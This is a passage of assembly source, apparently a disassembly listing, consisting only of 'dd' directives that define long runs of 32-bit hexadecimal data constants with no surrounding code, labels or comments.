		dd 0DD53B016h, 0CA3019BDh, 0B606075h, 2EEC0008h, 7C67A4C5h
		dd 890B8BD3h, 0B4F2BDh,	4FEECD86h, 0F5CC0008h, 53509329h
		dd 4B003C32h, 9420A954h, 240792E3h, 324CD1Ah, 0BB0EF04Ah
		dd 0C1A69BF8h, 0BA87F210h, 59AABE00h, 7DDFECBh,	58957626h
		dd 1D0FA80h, 38C98969h,	0D1804FF0h, 17BD1B3Eh, 5C9010CEh
		dd 0C40D6D00h, 2B97FD8Ah, 92CB0743h, 20E18435h,	0BE4D744Bh
		dd 0AE80B860h, 2407E3A3h, 46471A9h, 4B40E6Eh, 0F860FF3Ah
		dd 0CB015BF7h, 97DC3B87h, 0D6312479h, 0A2548C00h, 791E880h
		dd 3B6DDE4Dh, 805395CEh, 9C772D6h, 1ADD9F00h, 68905B7Eh
		dd 0D04A26DEh, 0F1FB0984h, 14FF0C20h, 1C3A9D4Eh, 6D8280F4h
		dd 4DC4ED70h, 95F8FFC5h, 77E424FCh, 42DC046Ch, 5BE89185h
		dd 2BDB70BFh, 0A156DB00h, 9B15A6E9h, 135E0066h,	0ACB88EFFh
		dd 89011783h, 27BBC0BCh, 9AE43411h, 649066h, 7F9D90Ch
		dd 185A9BAAh, 8CB4E300h, 7C7E89F3h, 15430077h, 0D1A2CA32h
		dd 0A6009976h, 0E6629A16h, 3FF4D482h, 52AEAFF3h, 0E127148Eh
		dd 82641924h, 0FE9474F8h, 0A3B65601h, 2CE68860h, 8F047C88h
		dd 5A808A04h, 0FF848962h, 4424637Bh, 0B48338DEh, 0CC369BC1h
		dd 6BC06CC9h, 5898E0h, 3169711Ch, 0B022F5A6h, 0FAEB6612h
		dd 4A7A3801h, 2FC4EC12h, 4F3F0005h, 0E0CDC6DFh,	0B118AB0Bh
		dd 0F3F8675Fh, 0A891B8h, 822A91C6h, 2339E5B0h, 2620808Fh
		dd 0B898C8F6h, 0F3BE3081h, 0FDBDAAB0h, 3E0089E8h, 0EC6014C5h
		dd 17C93Dh, 27AD7408h, 0C21C37F8h, 75C72C00h, 1073CDAh
		dd 0F047E5EBh, 49D4606Eh, 24295283h, 0CC7A3Ah, 6267B653h
		dd 4703CECAh, 68DF49ABh, 4C4DD05Ch, 210C0602h, 20C9FB38h
		dd 6C435900h, 0D6DE2D86h, 0E7CB000Eh, 0DB6AE47Ah, 87003084h
		dd 7EB8DFA5h, 92CFF73Bh, 30984C28h, 4DE4007Fh, 0F6F528C1h
		dd 4A00B1EBh, 78675690h, 4950AA2h, 0ACD8E32Dh, 0F18491DCh
		dd 0C8BBF86Fh, 567963Eh, 9CD32299h, 6C9F8C0h, 0B44C2EF5h
		dd 0AF900080h, 0FC57FB6Ah, 6007550Eh, 649D092Ch, 0F21C0018h
		dd 4EAC40F6h, 90079553h, 2FD0355Eh, 68C172B4h, 2060015Fh
		dd 3FE07F9h, 0A2EACE04h, 8404C13h, 0A00089F5h, 0B25386DBh
		dd 6195C641h, 4DC57CD8h, 0F236F493h, 818C6400h,	18342B5Fh
		dd 0C0AEF05Bh, 0ADA87E20h, 0AB3D418Ah, 781F3B58h, 3062A200h
		dd 0EE07FA3Dh, 67130051h, 28AB34CBh, 0B500E756h, 1CC90D49h
		dd 0FF0F2EDh, 0CAECB6F7h, 0AFA4B60h, 20F488Dh, 0A035413Eh
		dd 0B8E67DB1h, 87ED0586h, 0C8AC9DA1h, 9800BF40h, 0F86F8447h
		dd 4A62DEh, 0C94081A5h,	48A8E279h, 3BDF5Ch, 8836946Fh
		dd 0E2A45DF3h, 6A7616A1h, 5B280151h, 206DE078h,	4D75BA60h
		dd 81F8FF00h, 3E649ED3h, 6E44172Ah, 0E2C0056h, 512F1F25h
		dd 0B73A477Bh, 0D73A94E2h, 29A07A5h, 22001598h,	0C4371Bh
		dd 34592CE8h, 857DE0B7h, 50890A00h, 0D4A9BD19h,	4039006Ah
		dd 5C3F1D5h, 88EEA4EEh,	0EC8E10A7h, 80C88EBBh, 5B97D719h
		dd 0DD28C0C2h, 6BFC5421h, 0FA0D5618h, 1DF91608h, 41D3EE5Fh
		dd 530593EFh, 802C451Ch, 4E73A4F0h, 0C3523B00h,	4689C067h
		dd 0D56C0083h, 69206AD3h, 0E007BD11h, 3D3BBB29h, 5BEBC3h
		dd 65565C48h, 1FC26AD1h, 7800ECE4h, 416FBFDEh, 30D3B60Ch
		dd 0AA21537Bh, 28F27EE5h, 0F5589550h, 0ECC7C8C0h, 423AD71Ch
		dd 537C005Ch, 0D5573FCh, 2EF41F9Ah, 6B3006Eh, 7F044965h
		dd 0D87B502Dh, 0D271000Bh, 2AF231BBh, 0C800441Bh, 0B65EE4D6h
		dd 5C18AC23h, 9200EC7Fh, 0CF3140F2h, 0BC000C83h, 5FBA1605h
		dd 39AB729h, 3D2832AEh,	0C5905EAAh, 63E2DA5Dh, 0AF43400h
		dd 0BDDEC9EEh, 68FD006Bh, 97B0282h, 6E0023AEh, 0C06A1F16h
		dd 0F6D8B955h, 61E40708h, 60150BA2h, 57E69305h,	84EC7E1Eh
		dd 0CBE2507Dh, 0BAB0E300h, 0E1597BD0h, 7BE07EABh, 341C00B9h
		dd 3C57CA7Eh, 0D70044C0h, 1ACED637h, 2C2DE47h, 4BDCB0F5h
		dd 0AC875741h, 0B8CA10DBh, 86004CB6h, 6F1928Bh,	7942E56h
		dd 6A2D773Bh, 403327CAh, 0EDFBB095h, 0B2581500h, 64D1B37Ch
		dd 0E77E59h, 0EA3E346Dh, 163A990Ah, 53C4B950h, 4E6AC8A9h
		dd 9983EE04h, 107F8E8Bh, 6C4B8403h, 0AC821F57h,	71C03CC0h
		dd 5390032Fh, 6EF3E29Ah, 99462811h, 214DD611h, 84EE104Ah
		dd 2A4898AAh, 22407142h, 1C21EECAh, 0BE016A95h,	27D7114Ch
		dd 2883B612h, 29289262h, 9D222812h, 1443FD41h, 2648CCDDh
		dd 243BDE42h, 4F0A219Eh, 84FAA190h, 7A443E90h, 88D944EDh
		dd 4E0E44h, 0AD1D15A6h,	521E0738h, 71038156h, 0D494171Bh
		dd 9F00EE28h, 1A880E44h, 10DBFCh, 0B48A646h, 3E6D6233h
		dd 580077F6h, 379E2287h, 757352D8h, 0A798CCh, 0F34B2F69h
		dd 9EC8FC6Ch, 78235301h, 94421BF5h, 9CC0F0h, 3680A9A1h
		dd 767593A5h, 0E1D23D00h, 41A47A4Dh, 2321001Bh,	0BD0B917Ch
		dd 4008DB3h, 9D2AE157h,	3DE49733h, 3800507Bh, 0D9CE42ABh
		dd 0AE00CBA0h, 75015AFEh, 0F72669Dh, 0D3C09602h, 5EE1301h
		dd 0E2CEF49Ch, 0EF39F617h, 18376500h, 9BBF1Bh, 0C69D4A8h
		dd 66BEF2FEh, 5939C312h, 1EDD3440h, 18D08B4Fh, 78D8DFC1h
		dd 0C4189A5Bh, 2211FB77h
		dd 0DABE003Eh, 0CBB90633h, 0B860C795h, 0E3CA0C40h, 0A55800DEh
		dd 3DF6423Bh, 552A50E5h, 4E0758AFh, 57D4AC8Eh, 78EEA9E0h
		dd 0C83C1E85h, 40CFD6A1h, 0D9C31F89h, 3414C574h, 7E8CC03Ah
		dd 0FD4BFA0Fh, 97107843h, 21E10006h, 0AC76B971h, 6D0E5A7Ch
		dd 0FE47442Fh, 60B56340h, 0E0C22BF4h, 240F00FCh, 73C75242h
		dd 0A6788721h, 80D68E3Fh, 0F42C27D1h, 7C6B707h,	0FD35BCA1h
		dd 0F9B68012h, 64001FBEh, 8D16A096h, 0CFF76Dh, 23B9FC78h
		dd 560E29FEh, 9A3EFA7Ah, 28BB0003h, 5D86711Ah, 0DC906Ch
		dd 0B2F1DD55h, 7B59FD61h, 8B291E00h, 736ACF82h,	740D00B8h
		dd 586CEE0h, 0F5F6B39Dh, 3E47881Fh, 6003FCAEh, 88081A9Eh
		dd 68BE7Eh, 165D0DC1h, 67C57577h, 0AC56A307h, 8CFAA062h
		dd 2CE09901h, 4820A9C9h, 1C1AFAFEh, 43F9236Dh, 0BF26BB42h
		dd 0EFFC2800h, 5CA90B04h, 8F4B0F0Fh, 0D000D929h, 72209BC7h
		dd 0A6F3A11Fh, 5DEE36C0h, 73F1A9BEh, 95AE18FEh,	0EB3B61F5h
		dd 2539C0E3h, 9C33C500h, 8319B556h, 44040C16h, 681055FBh
		dd 4BCA48h, 0C87212BAh,	0A05829D5h, 0ACC590h, 887B0F2Dh
		dd 77639857h, 8AB28B03h, 0C8AF0145h, 7146D134h,	36A3001Bh
		dd 1D7B2410h, 0C0008E4Ah, 857AEF5Ah, 4FF79Ah, 0F2360FB4h
		dd 0D3559D34h, 0AF8F500h, 0CB541C91h, 0A03B00C2h, 0DEB1502Dh
		dd 9D24EE8Eh, 9C000CCEh, 0DAD21A4h, 890D9h, 0CC4EE1A6h
		dd 0DBFD0B8Eh, 0C1F93600h, 8599D068h, 0B5760EEEh, 41E09FE6h
		dd 0B08E912Dh, 0B8F9F600h, 3522478Fh, 0D7E11EB4h, 625200D9h
		dd 0EC893FDh, 7839F21Eh, 2E5C00FEh, 0DBEEA647h,	0A08A48E7h
		dd 12100200h, 6F7AB19Fh, 6BCD6600h, 8B672F41h, 181C00AFh
		dd 99E1EE02h, 0D0035D80h, 0DC743FC8h, 0BE98003Ch, 26A3B4D7h
		dd 7100BC4Fh, 24AD9DFh,	0B9D1C9h, 2FAA6A10h, 271C3AFDh
		dd 9C778B00h, 2504F4C4h, 0C5DF072Bh, 20F0EAD5h,	0B8DB2E8h
		dd 1D3CFC00h, 0B4DB64F7h, 0CA1100B7h, 0AA15BA58h, 6600E453h
		dd 0FA5CB24Dh, 333C0ABh, 0E7F8AD28h, 2AB8A459h,	60E48BAh
		dd 29A2A8B5h, 661800EEh, 9E88DEBh, 36B12652h, 0AE3D7080h
		dd 4F07F186h, 96C2FC2Ah, 240DF7E0h, 3D6009Bh, 3F1C2095h
		dd 0BAA0DE52h, 0CB005A05h, 39E8FD76h, 0F22B09Eh, 0AB04FA12h
		dd 2DBC3660h, 3F00AAD2h, 0C297665Ah, 0B0498Dh, 0B68921F5h
		dd 0FFAF9BA7h, 6123C903h, 0C08D6C02h, 91EF3234h, 0FA868918h
		dd 6765000h, 0C83FA6D7h, 0C1D22F27h, 18E0B3CFh,	13F8F9h
		dd 0C695D106h, 0A41E79DDh, 82F44C01h, 56E11A57h, 3D6AF8h
		dd 295D15E2h, 9E2ADC78h, 0A839200h, 44D457C3h, 332B00F8h
		dd 87F63A4h, 84FA8ED0h,	0C5457500h, 202C9243h, 14500076h
		dd 0C9B88058h, 0AD04DAE9h, 73BE6F19h, 485EBCC8h, 67057489h
		dd 0BA8206h, 7FBF48E4h,	980A29EFh, 0FA65F299h, 80F93800h
		dd 7AD5AC3h, 0F194A881h, 137661DDh, 0C428203Ah,	4F47AF01h
		dd 1B83E082h, 0E0EF3730h, 3A3E1C9Ch, 4984C0E1h,	0A5CDBAE6h
		dd 276BDC00h, 33674196h, 0CBFB00ADh, 1B2F6A6Ch,	31001CD0h
		dd 9DE3EE46h, 572E8Ah, 0D6CFF62Ah, 0F7286E63h, 8CE79401h
		dd 0CD91ECD3h, 0E9794881h, 80F4D931h, 43CA2311h, 888E39h
		dd 35815F55h, 0C4BA87Eh, 636DAA00h, 4E203032h, 0AD441F36h
		dd 0F0724025h, 0FF039B8Ch, 0C73F5D00h, 2BC48196h, 0C6D21F66h
		dd 0FEDA03EDh, 93D8D611h, 5900F635h, 0B2A445E9h, 11EE421h
		dd 0D5A5481Fh, 5077D72Ch, 1CB9B5E8h, 0D0E45507h, 0EB00CFAAh
		dd 5FA850Ch, 8DF89C4Fh,	0E2DAC43h, 0A527C6C7h, 0FA807FDBh
		dd 74B8DEh, 0AB6E184Eh,	0DAF8713Ch, 0E882042Ah,	1B26F700h
		dd 0C159811Fh, 0CC670F8Eh, 0A3C0B76Ah, 3379C296h, 0ABFDE31Fh
		dd 8FFB1380h, 17326F40h, 37FFA3CAh, 6545030Ch, 5EDCE3C8h
		dd 6610BE00h, 0C361EADBh, 3F9924D1h, 9E807DFh, 0A70C30AEh
		dd 0C0489B2Ch, 0DAFA00ACh, 7C036B1Fh, 4BD20004h, 0EA777933h
		dd 20006CA3h, 1E51E919h, 0BDFEB24h, 9E65B296h, 5E9CAB80h
		dd 0A90062CAh, 0D9CFF3B7h, 38BCDA2Eh, 3C021023h, 0B501DC9Fh
		dd 32C9E881h, 867DE8DEh, 9AEE7600h, 80F3057Bh, 7690071h
		dd 356D450Dh, 0A8008C10h, 8B548E60h, 9A0953h, 4DC982C3h
		dd 0F0081F92h, 0A2B83600h, 547F4E93h, 67F407EAh, 0E0C4D020h
		dd 4F58622h, 39FB9900h,	32EA84B5h, 0B110006Bh, 0EFD99C01h
		dd 79587A4Fh, 0CC1E7BA4h, 1740147Ch, 94D001CAh,	0B53C1C43h
		dd 58D500A6h, 0A1381384h, 360CCC00h, 0E8C1F0ACh, 8EE709B7h
		dd 5E80AE26h, 8BCFC3E1h, 0D41DE4F1h, 0BBBA56C0h, 127012Dh
		dd 372B690h, 0F09AE7E1h, 41B0D163h, 31DD0400h, 401A49A5h
		dd 29613919h, 2D5A7B0Eh, 0DFCC4820h, 5F4843A8h,	1B9A00B5h
		dd 817994AFh, 26771941h, 609306C4h, 0DE006A87h,	96695346h
		dd 0DFB565h, 0C50D6C9Dh, 87A6E0C0h, 0EABB6F00h,	0BE509BFCh
		dd 0BA3000C9h, 5B7C5364h, 0B539D00Dh, 0F19A8B9Ch, 7C5D8A39h
		dd 713E023Bh, 40558CFFh, 5C7970h, 0C21DB461h, 0D7096E2Fh
		dd 0B3B37EAh, 3E9D983Ch, 0A2DE2Ch, 0C8E63853h, 0BA25AA3Dh
		dd 6578F502h, 40DF7345h, 7998AB7Ch, 348100AEh, 0CB768CB2h
		dd 9C00BC5Dh, 5261FA21h, 2DE0B45h, 9EE08AF0h, 0E5E0A6CAh
		dd 3C006530h, 0BD95C66Ah, 0E75855h, 3F2A3BDDh, 3DE2CA0h
		dd 0C009FEAh, 2AFEB20h,	1BC070h, 0CBC82E26h, 0AA88BAADh
		dd 2D9F6A12h, 75EB8C0h,	0A017008Dh, 88A3D009h, 0B5004885h
		dd 0A4021A16h, 0BA9C8756h, 1C420080h, 41AE93FAh, 0EE003EFBh
		dd 376843E4h, 51022Dh, 0BDEDF842h, 9EA52705h, 7476CC05h
		dd 6C80BC8Ah, 7219ABF7h, 14D00B1h, 0DBF804E8h, 42001430h
		dd 1DE0AE49h, 90270BF3h, 347F0ECCh, 40A3E74Fh, 42E0D1FAh
		dd 0EFEABC90h, 0E950EB0Ch, 0C711F4h, 6E4DEA9Dh,	0B9F56329h
		dd 745CB0Ch, 5C2BE0B7h,	30008F34h, 0C403B2C0h, 5C004EFAh
		dd 0F4890FAFh, 0FBFCB29h, 0FEA0BBDFh, 8219B0C0h, 37006FE5h
		dd 0E0298655h, 2ECD3377h, 98E247h, 0A597F64Bh, 0D70B6A1Ch
		dd 409F93B0h, 0B8B87C90h, 9ECE0118h, 233F0DBEh,	50D7C5E4h
		dd 49920A0h, 3CDB6238h,	3536808Eh, 0CF211611h, 1027FCDh
		dd 8C2C0E2Fh, 700C4851h, 0E238DC52h, 78C19D6Dh,	0B853B542h
		dd 0F3F8982Dh, 0E7E0FE9h, 5962CF24h, 0FD878E8Dh, 0D42943F9h
		dd 98FA5000h, 0D14CDB2Ah, 303D12D7h, 226E0B7Dh,	0A01C3C84h
		dd 0CC0019B8h, 0E4504B15h, 75D5A1h, 0EB013C8Eh,	0C76ACE25h
		dd 94453700h, 7DCB7235h, 0CF8D05EFh, 0C04819A3h, 88036A06h
		dd 0E68CB300h, 379C18DCh, 1A4300AEh, 91E55C7Eh,	0C5FC832Ch
		dd 88770094h, 62C1C7FDh, 9A975BD5h, 8C104085h, 40297BC5h
		dd 22E2A000h, 542DAA6Ch, 275900D7h, 0F39B0998h,	9D001D3Eh
		dd 0AE9F4E5Fh, 6E2ED0h,	0E6EA8ED2h, 48C2A359h, 631B5A0Ch
		dd 75F596Ah, 621C5678h,	0FEE3902Eh, 424AEE2h, 842819F7h
		dd 0A5002976h, 128C48CAh, 0DBD787h, 0FDCFA727h,	90077393h
		dd 0D1BE1F00h, 98B64833h, 0D8F1246Bh, 0C0E4122Ch, 0DD3665CCh
		dd 3A011C9Ch, 79500644h, 20B7C4h, 8A0923D1h, 27F61BB3h
		dd 3702761Dh, 30000B5Eh, 0C8B02410h, 0C9CD1D35h, 0F5D14017h
		dd 0F9F15AD5h, 96771600h, 241F2F47h, 0A58D00C6h, 7D6765Fh
		dd 730059B1h, 6282BB43h, 5E51A11h, 0E87875BFh, 0C4C82071h
		dd 2300D7F1h, 0A5CF3DA1h
		dd 76B32112h, 330D1D72h, 4884802Bh, 0EA044CACh,	7107FA13h
		dd 55D4001h, 25D43AC8h,	24E300B4h, 0D9C91DD0h, 0BF004672h
		dd 75769B95h, 0EC88140Fh, 0B0D23BA2h, 4DC03680h, 42065817h
		dd 663885B8h, 0B70A3EABh, 2AF0D064h, 96A40Eh, 6FADE6CDh
		dd 0EB29E882h, 28B0E109h, 0EE30055h, 184FED88h,	504AB876h
		dd 800005C4h, 0C5715787h, 51CA6Ch, 42282043h, 0C7A1D9E7h
		dd 17260800h, 23C930AFh, 5833940h, 0A0D55001h, 0F8AB31A2h
		dd 0C800BA79h, 1ACA39EDh, 16CB1A1h, 207B8381h, 0F8EEC90Bh
		dd 0AA003AC0h, 0A5DE921h, 0B4B4C761h, 3DF30080h, 81EC862Ah
		dd 0F58B2D13h, 0CFF76480h, 0D1B61F13h, 0B27480BAh, 0D85C65FCh
		dd 8DAE5500h, 9C599340h, 7D7DE6D4h, 0CFFE0039h,	3BA1E743h
		dd 1680C933h, 72ED0107h, 914B8431h, 0F838D5FEh,	24000FBEh
		dd 0F7563CF4h, 48BB404Fh, 197870B3h, 0F2EFD26Dh, 3EB040ACh
		dd 0FA0999C6h, 0F75ECFFh, 1C940028h, 582908F3h,	24E74E5h
		dd 0B3E20750h, 0D4F4C091h, 6B00E9C2h, 6A8C1B0h,	1BD31C0h
		dd 3B5E8FF0h, 707E1821h, 9800D615h, 0CEC013EEh,	2E42D56h
		dd 0F55DDD1Bh, 20407D36h, 3128D2Fh, 480CEE83h, 212F410h
		dd 0ECCA0F5h, 48C137CAh, 72A4F48Ah, 1E998E0Fh, 0E0E58F26h
		dd 0B3B7F262h, 1F0D0002h, 50C1349Ch, 0CD000FA6h, 0F2D76D37h
		dd 0FC5C6Bh, 0F4A3B6E8h, 0AE2EAB4Ah, 0D2576002h, 0C0B027C6h
		dd 7A094B88h, 0EE59EA3Fh, 6AA80089h, 1F22BCA9h,	28018D05h
		dd 0CA618224h, 7C247E3Ah, 933014C4h, 0D90FB8C5h, 0C32F1936h
		dd 0F0ACCC84h, 0E2264F3Ch, 61010830h, 0BF1202E7h, 24711180h
		dd 7BE8261Ah, 204F8024h, 28608F47h, 1AC95D7h, 2E224ABDh
		dd 0C5C854E7h, 3D047C76h, 10FE137Eh, 0F3140800h, 19332F0h
		dd 7470877Ah, 34044FE3h, 0B238D378h, 68E02E71h,	0C9B93100h
		dd 1CC332Ch, 8C503A6Dh,	2A6BABAAh, 0FAF61AB0h, 31D40099h
		dd 86D5FB7Eh, 0C72E90B5h, 3C012506h, 3E4EFE55h,	54205BD9h
		dd 0C6B7FFBh, 6DF92A99h, 0B1007B03h, 382D114Fh,	14027BCh
		dd 0F6AD4A8h, 0C8F34B30h, 20FBBFB3h, 6416FA84h,	0AC419B92h
		dd 6C2E6F4Ah, 55BCE840h, 0A278002Dh, 7BFA1220h,	2326AA5Fh
		dd 4C9E8CB5h, 6D6CDD40h, 0A5CC87h, 0F5246381h, 94FC199Dh
		dd 6BD01A00h, 0CF66E7EEh, 8E2F00CCh, 43D1C334h,	1C0218A7h
		dd 3A4E2CF8h, 5954E09Dh, 66C3814h, 72983483h, 18009CAFh
		dd 81C093DAh, 16665C75h, 0C1FFA2C3h, 102FB23Ch,	0F437385Eh
		dd 481407A5h, 20682792h, 9124296Bh, 0F8A03AE8h,	31072F04h
		dd 0CBE1FF79h, 4F7AA970h, 5C5F00D8h, 207F2415h,	0FF06A497h
		dd 6B7CE1AAh, 0F3DD0080h, 61041A1Ch, 20160782h,	1101F27Eh
		dd 0C77CBC2h, 96100E2Ah, 71D5E400h, 6D1CC674h, 0DC1C4EA7h
		dd 80C1F0C1h, 5FDD7019h, 47CA20h, 0CBA21D82h, 8DB546A7h
		dd 70BE4Ch, 695FD6E5h, 279E9131h, 0BB001929h, 0B96DBD1Ah
		dd 8C4A1D01h, 0D0EDDA53h, 965F7AD4h, 0F7458274h, 906001D5h
		dd 0CE1D431Eh, 0D397F406h, 8F13800h, 0B88B80ADh, 0B21A0042h
		dd 4F70E4A7h, 8973DE45h, 18B79800h, 1F86EB77h, 0B65D0361h
		dd 8B799EAAh, 1E50E058h, 0E800C4AFh, 4FDBB891h,	8F850058h
		dd 2FAB98F3h, 0E0B87005h, 69469900h, 925D95E6h,	644A0243h
		dd 0A659D59h, 0DE1490E0h, 0E75FBA05h, 4C909653h, 1C9DDAD4h
		dd 3EE603Bh, 0B20E1246h, 0B13DA4C8h, 84E14D26h,	0A676E307h
		dd 8CD0F205h, 268F8689h, 0BF2F65h, 41ADFABDh, 0A4EE6866h
		dd 843E90Fh, 0B56D60E8h, 24B1FB73h, 0E05267h, 2722249h
		dd 0E901609Ch, 0BB066BBAh, 6883B730h, 5F1DBF93h, 0DE902C88h
		dd 8BE41800h, 0BD6F2EB3h, 704F00B2h, 0BC7C512Ah, 0F7F21FB8h
		dd 5B53400Ch, 28110C3h,	0E8AC535h, 60DF1680h, 3E56D563h
		dd 2207C47Dh, 517B7FFFh, 845DDEC9h, 8E2E7990h, 0B56228D0h
		dd 6BD7A28h, 345D720h, 2F021811h, 0CB97DBBAh, 1943E0F6h
		dd 348F004Ah, 0E466C974h, 3D141654h, 1D8C0F1h, 2B0DDCFEh
		dd 4C7C46A3h, 0FB9D703Fh, 0C67B4B76h, 7C0744C8h, 5B076172h
		dd 90E8F9FAh, 0EBAA3D30h, 56D70060h, 142C7244h,	60FB1847h
		dd 0AC002550h, 852ACF7Ch, 28B27AC7h, 1DDDD275h,	51622Ch
		dd 0C8A8550Ah, 9F0019DCh, 8BFD4453h, 26AA21CDh,	8CE988h
		dd 0B74C142Ah, 5F79C39Dh, 0C59B3Fh, 15ADE0B8h, 4ABEF6h
		dd 1CD47904h, 4D45DCC9h, 9B99B100h, 0D1C6968Ch,	0DCB02Fh
		dd 2B90253Fh, 1CA76ACBh, 5A2ED902h, 40034DD3h, 0F499CACAh
		dd 865400E2h, 3FD01CBBh, 621F2717h, 7B407D3Ah, 0F33D588Bh
		dd 0D36D2C41h, 0E52930D2h, 4C0E2BFAh, 0E03ED180h, 21367525h
		dd 522F0F63h, 9042DE49h, 0B88FC128h, 0E3D699A0h, 250E3D05h
		dd 0C0DF208Ah, 525BD574h, 0BB5C0060h, 85E26B1h,	0A101941Bh
		dd 44A02F46h, 834450Eh,	0E4CA77AFh, 1F1B1535h, 0AD0FB810h
		dd 21F645C5h, 80F7D368h, 67E32318h, 0A76E57h, 0B2F329C3h
		dd 0F2B52E27h, 4FB0F000h, 6B9EFACCh, 46E231h, 8F1C5571h
		dd 0EF0F6197h, 0A235EE05h, 42C0DA86h, 0F47D16E9h, 1EED00ABh
		dd 41A19ACAh, 35015801h, 508E8C72h, 0F3D04D39h,	16C6006Bh
		dd 0D36F02D8h, 9009E1E8h, 9F61FF32h, 60E74400h,	3E58DEE4h
		dd 8B80400Ah, 106FD620h, 9D002A5Ch, 94ADBD1h, 52E81DDh
		dd 99FCB066h, 10FD87C4h, 0D2491AD4h, 86A67216h,	9EEE9004h
		dd 2800E64Bh, 0F50BBF5Eh, 61A3D90Fh, 9DEC4013h,	0B66C3C5h
		dd 0C95E81A8h, 0A437B303h, 71DE6FD8h, 0A7910400h, 4A3B6836h
		dd 0A79C1h, 9AB5EAF5h, 0C5E079A4h, 2844062Ch, 0D727EC01h
		dd 0ED30D422h, 9CC306F5h, 218E454Eh, 15D6F301h,	0B1BC7BDDh
		dd 0FFB360h, 0DAF64E53h, 0FE096855h, 56A98400h,	0AD2679B2h
		dd 0A2CB13B9h, 8AD4875Ah, 4DA54090h, 7600422Ch,	6F0B4A5Fh
		dd 0B11B97h, 0CAF96019h, 0BB59AE1Eh, 0FCE38C00h, 76CC9D4Ah
		dd 756D7E50h, 0C2C3009Ch, 4166D1BDh, 5901FD93h,	53A3F473h
		dd 8870B819h, 806AE8EFh, 5091AA0Bh, 40D3620Fh, 7E76E1D1h
		dd 114260F3h, 0E8806BECh, 0F804154Eh, 805DDF7Ch, 5EAD1CBDh
		dd 184CB97Eh, 23B3C0E8h, 13C748DFh, 0E0F824Ah, 46FEB784h
		dd 0E816D5F8h, 62FCACA8h, 0E7474A02h, 0E025A89Bh, 1A6E68h
		dd 0AAD891BCh, 0A4CCF39Dh, 37D1731Fh, 6DA0E440h, 0D38ADEh
		dd 7DE9AA83h, 0F3FCA29Eh, 1D0860B4h, 79511D62h,	246DA500h
		dd 0CDD75C1Ah, 1D0C100h, 0EC160E94h, 0D69E00A7h, 0F28E2A1Fh
		dd 0AC009F5Dh, 0D7F3C43Fh, 8C6C60h, 45A860Dh, 0D4E4FEBEh
		dd 3DCBE740h, 68D84979h, 0ECCCD2F0h, 98D12126h,	4C3A7803h
		dd 8FB0F0F8h, 0F0AA3FBAh, 74605B25h, 281287B6h,	90A0168Eh
		dd 79220033h, 8F3D6636h, 1200032Ch, 32C937CDh, 35F0EAh
		dd 0AF403147h, 0B61F0615h, 955F7D00h, 0BE253874h, 0AA500078h
		dd 3CD35DFAh, 900063E9h, 92ED3E6Fh, 47941F7h, 3AC1CF69h
		dd 0D814C05Bh, 2112B4E7h, 44409387h, 0DFC00381h, 41DE8BBh
		dd 0B0E08B99h, 26C0B0ABh, 0F0A3381Eh, 840FEA12h, 35D50328h
		dd 0E460F792h, 90FA457Ah, 0A97D0048h, 0A00F8A20h, 9902EAE5h
		dd 707909DDh, 0C3DB40E6h, 68290774h, 0B2013215h, 0E84831B1h
		dd 5C513977h, 61CF0F0h,	0FE60EB90h, 0FA24BA81h,	3F6D73BEh
		dd 20000CDDh, 540DE83Dh, 0B09839F2h, 7BE97F00h,	0A1581BD3h
		dd 97DC0FFDh, 92C047ACh
		dd 51C3C4D4h, 6F94BA04h, 4B8062BCh, 3F27EE44h, 6E12602Ah
		dd 6654819Bh, 0C5C1101Eh, 4DC4A011h, 3CAEE3Ch, 7897B202h
		dd 18000A2Ch, 182FF6E5h, 7605B23h, 7ABD7287h, 0B0AF217Ch
		dd 0D398246Dh, 62D9BF16h, 59B51100h, 447716h, 4C4C0DBh
		dd 7D5086A7h, 0FC979200h, 0FBD5F1D1h, 65ED30FEh, 5693CDD8h
		dd 0A7094600h, 0B1B62C1h, 0DDF400B8h, 2A22AF35h, 4031C39Eh
		dd 8C5BC87Fh, 0A74B1B10h, 8DB5CA00h, 410EA29Ch,	3C680119h
		dd 0C159D462h, 611EF014h, 54D54300h, 3853495Bh,	5A3701ACh
		dd 99D0A113h, 2CA07F23h, 4AC63B45h, 535DC900h, 8F0D14FBh
		dd 22E40300h, 0E771826h, 7B33138Ah, 8DED005Dh, 1C0CA299h
		dd 62E3FA0Eh, 762F20D6h, 753EF2h, 692C80CEh, 0CAE9D894h
		dd 6F0064F6h, 0D7C221FAh, 90C4AFh, 7447DE60h, 848A9A18h
		dd 4100197Dh, 44CFB49Dh, 194ED71h, 7EAB5CF2h, 703D23B0h
		dd 4A038427h, 0D889180Eh, 3916D8CDh, 5D3A0005h,	3D12A844h
		dd 47B8F172h, 973E9401h, 6BDF2D04h, 0BF073280h,	219C03D7h
		dd 8343ED00h, 0C82FA058h, 0A27B03C5h, 40FD7A09h, 5917B6D0h
		dd 3F21DF01h, 482FBE3h,	1E1C9D0h, 78F71D10h, 0FC6F92FCh
		dd 9F00C549h, 0EBAE5B97h, 0D654EAh, 0CBCA41C1h,	698DC259h
		dd 0EC006EF6h, 29DFFC07h, 0E90848h, 0C9DCF585h,	15778674h
		dd 390B8D0Fh, 3BE5C091h, 787F256h, 0AB173512h, 241CE0CFh
		dd 50006990h, 7A5BC41Eh, 0FC078ACh, 9BA9EA86h, 0DE5FEEh
		dd 94464CABh, 0A700BAA2h, 1D5E1902h, 0F968E3Ah,	0EE720DDDh
		dd 0D7005549h, 0BF252C98h, 591AC500h, 0E8F20E7Eh, 29F0EB3Eh
		dd 1BCF8EBh, 0B6812487h, 0DD8F3AFFh, 0D1B8FF03h, 4D98D81Bh
		dd 313AA97Fh, 40D589EAh, 5DC780EBh, 793C109Eh, 24B0017h
		dd 0BE620ABCh, 8F6118Ch, 501A1E0Bh, 606D0E93h, 0BBA9765Fh
		dd 0A20E0047h, 1AB3240Dh, 887034F8h, 0C7D40B00h, 0DFA5D909h
		dd 59B3B0Ah, 42610079h,	0DBDE7015h, 0F25AA734h,	953F9A80h
		dd 36F3006Ch, 0C01AC45Ah, 4DEED263h, 0A725B100h, 0B97069D4h
		dd 0B3600697h, 28A2BA0Ah, 0DF8BC300h, 5AB1AED2h, 249006EDh
		dd 78DA510Fh, 499100Bh,	0FCB58031h, 1352DCAh, 16080F5Dh
		dd 0D9339C85h, 0C2FB3023h, 1C0065B6h, 0DCFF204Dh, 32683D69h
		dd 0D673788Ah, 0CB3B008Ch, 11FBB8F2h, 0A1968800h, 0FC50A94Bh
		dd 2BED00D3h, 0B543428Fh, 191F0B7Eh, 0AAC03C2Dh, 948690B2h
		dd 527A1Fh, 51D0CA57h, 0E37C089Dh, 0C65E10Fh, 80400125h
